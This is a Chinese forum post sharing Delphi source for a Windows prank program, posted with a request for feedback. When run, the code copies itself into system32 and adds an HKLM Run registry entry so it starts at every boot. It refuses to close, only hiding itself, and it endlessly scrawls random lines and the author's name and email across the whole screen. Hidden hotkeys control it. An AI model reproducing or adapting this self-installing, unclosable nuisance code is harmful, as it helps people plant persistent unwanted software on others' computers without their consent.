不知道怎么送分,送点别的吧,把源码贴出来:<br><br>大家指点指点:<br><br><br>unit Unit1;<br><br>interface<br><br>uses<br> Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br> Dialogs, StdCtrls,Registry;<br><br>type<br> TForm1 = class(TForm)<br> Label1: TLabel;<br> Label2: TLabel;<br> procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br> procedure FormCreate(Sender: TObject);<br> procedure FormClose(Sender: TObject; var Action: TCloseAction);<br> private<br> { Private declarations }<br> procedure autorun;<br> procedure addhotkey;<br> procedure deletehotkey;<br> procedure prohotkey(var msg:TWMhotkey);message WM_HOTKEY;<br> public<br> { Public declarations }<br> end;<br> TMyThrd=class(TThread)<br> private<br> fcanvas:TCanvas;<br> fa,fb,fx,fy:integer;<br> procedure drawline;<br> protected<br> procedure Execute;override;<br> public<br> constructor create(cas:TCanvas;x,y:integer);<br> end;<br>var<br> Form1: TForm1;<br> fresume,fcontinue,fshow,fhide:integer;<br> fcanclose:boolean;<br> hd:HDC;<br> fthd:TMyThrd;<br><br>implementation<br><br>{$R *.dfm}<br><br>{ TForm1 }<br><br>procedure TForm1.addhotkey;<br>begin<br>fshow:=globaladdatom('appshow');<br>fhide:=globaladdatom('apphide');<br>fresume:=globaladdatom('Threadresume');<br>fcontinue:=globaladdatom('threadcontinue');<br>registerhotkey(self.Handle,fshow,0,VK_F10);<br>RegisterHotkey(self.Handle,fhide,0,VK_F11);<br>RegisterHotkey(self.Handle,fresume,0,VK_F1);<br>RegisterHotkey(self.Handle,fcontinue,0,VK_F2);<br><br>end;<br><br>procedure TForm1.deletehotkey;<br>begin<br>Unregisterhotkey(self.Handle,fshow);<br>unregisterhotkey(self.Handle,fhide);<br>unregisterhotkey(self.Handle,fresume);<br>unregisterhotkey(self.Handle,fcontinue);<br>globaldeleteatom(fshow);<br>globaldeleteatom(fhide);<br>globaldeleteatom(fresume);<br>globaldeleteatom(fcontinue);<br>end;<br><br>procedure TForm1.prohotkey(var msg: TWMhotkey);<br>begin<br>if msg.HotKey=fresume then<br>begin<br> if not fthd.Suspended then fthd.Suspend;<br>end<br>else if msg.HotKey=fcontinue then<br> begin<br> if fthd.Suspended then<br> fthd.Resume;<br> end<br> else<br>if msg.HotKey=fshow then<br>self.Show<br>else if msg.HotKey=fhide then<br>self.Hide;<br>end;<br><br>procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br>begin<br>canclose:=fcanclose;<br>if not fcanclose then<br>self.Hide;<br>end;<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>var<br>cas:TCanvas;<br>begin<br>autorun;<br>fcanclose:=false;<br>addhotkey;<br>hd:=getwindowdc(0);<br>cas:=TCanvas.Create;<br>cas.Handle:=hd;<br>fthd:=TMythrd.create(cas,screen.Width,screen.Height);<br>fthd.Resume;<br>end;<br><br>procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);<br>begin<br>deletehotkey;<br>fthd.Free;<br>end;<br><br>procedure TForm1.autorun;<br>var<br>a:array [0..100] of char;<br>s:string;<br>re:TRegistry;<br>begin<br>getwindowsdirectory(a,100);<br>s:=a+'/system32/myapp.exe';<br>copyfile(pchar(application.exename),pchar(s),false);<br>re:=TRegistry.Create;<br>try<br>re.RootKey:=HKEY_LOCAL_MACHINE;<br>re.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run',true);<br>re.WriteString('myapprun',s);<br>re.CloseKey;<br>finally<br>re.Free;<br>end;<br><br>end;<br><br><br><br>{ TMyThrd }<br><br>constructor TMyThrd.create(cas: TCanvas; x, y: integer);<br>begin<br>self.FreeOnTerminate:=true;<br>fcanvas:=cas;<br>fx:=x;<br>fy:=y;<br>fa:=1;<br>fb:=1;<br>randomize();<br>inherited create(false);<br>end;<br><br>procedure TMyThrd.drawline;<br>begin<br>fcanvas.MoveTo(fa,fb);<br>fcanvas.Pen.Width:=random(30)+1;<br>fcanvas.Pen.Color:=rgb(random(255),random(255),random(255));<br>fa:=random(fx);<br>fb:=random(fy);<br>fcanvas.LineTo(fa,fb);<br>fcanvas.Font.color:=clred;<br>fcanvas.Font.Size:=50;<br>fcanvas.TextOut(150,100,'欢迎使用该程序!');<br>fcanvas.Textout(150,200,'作者:空前 ');<br>fcanvas.Font.Size:=25;<br>fcanvas.TextOut(150,300,'E_mail: cai35819194@163.com');<br>end;<br><br>procedure TMyThrd.Execute;<br>begin<br> inherited;<br> while not (self.Terminated or application.Terminated ) do<br> synchronize(drawline);<br><br>end;<br><br>end.